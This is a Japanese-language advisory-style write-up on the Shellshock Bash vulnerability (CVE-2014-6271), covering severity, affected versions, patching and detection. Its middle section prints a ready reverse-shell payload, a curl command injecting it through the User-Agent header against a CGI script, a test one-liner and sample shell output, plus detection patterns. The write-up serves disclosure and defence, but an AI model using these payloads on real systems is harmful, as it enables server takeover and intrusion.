
CVE-2014-6271

環境変数を介したGNU Bashにおける25年越しのゼロデイリモートコード実行
CVE-2014-6271、通称 Shellshock(別名 Bashdoor)は、GNU Bashシェルにおける重大なリモートコード実行(RCE) 脆弱性です。
攻撃者はHTTPヘッダー、DHCP、SSHなどを介して巧妙に細工された環境変数を送り込み、多くの場合認証なしかつ最小限のユーザー操作で、対象サーバーへのリモートシェルアクセスを獲得できます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2014-6271 |
| 深刻度 | 🔴 Critical |
| CVSS | 10.0(最大) |
| 攻撃ベクトル | リモート(HTTP, DHCP, SSHなど) |
| 認証の要否 | ❌ 不要(多くのベクトル) |
| ユーザー操作 | ❌ 不要(CGI/DHCPの場合) |
| 影響 | サーバー完全制圧 |
攻撃者は細工された変数(例:User-Agentヘッダー内)を注入します:
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bashはペイロードを関数定義+後続コマンドとして誤って解釈します。変数が取り込まれた時点で();の後のコードが即座に実行されます。
コマンドはWebサーバー/プロセスの権限(多くの場合rootまたはwww-data)で実行されます。
結果:
# リモートシェルアクセス成功
whoami
www-data
✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test
リバースシェルが即座に接続してくるのが確認できます。
env x='() { :;}; echo vulnerable' bash -c "echo test"
直ちに以下の結果が返ります:
vulnerable
test
(これによりBashが注入されたコマンドを実行したことが確認できます。)
脆弱なApache CGIスクリプトに対して以下のcurlを実行します:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
netcatリスナーには以下の出力が正確に表示されます:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
この出力は直接リバースシェルに表示されます。エラーも404も発生しません。
これはサーバー上で完全なリモートコード実行が成立したことを意味します — 環境変数インジェクションが完全に機能したのです。
すべてのGNU Bashバージョン:
1.14 〜 4.3(パッチレベル30未満)
(Linux, macOS, BSD, 組み込みデバイスを含む)
直ちに以下へアップグレード:
Bash 4.3 パッチレベル30以降(4.4+推奨)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() { をブロックするmod_securityルールを使用以下の兆候を監視:
() { を含む不審なUser-Agent / Referer侵害指標(IoC)には以下が含まれます:
() { :;}; を含むログ/bin/bash -i の生成悪意あるヘッダー/DHCP/SSH → Bashが環境変数を取り込む
↓
関数定義+後続コマンドが実行される
↓
任意コマンド / リバースシェル
この問題は複数の後続CVE(不完全な修正)を生み出しました:
| リスク領域 | 影響 |
|---|---|
| 機密性 | 🔴 高 |
| 完全性 | 🔴 高 |
| 可用性 | 🔴 高 |
2026年においてもLinux/macOS/BSDサーバーを運用しているなら: 🔥 Bashに直ちにパッチを当てよ(エアギャップシステムでも)。 💡 パッチ未適用のBashがインターネットに露出している場合、侵害を前提とせよ。 🛡 完全なログレビューと整合性チェックを実施せよ。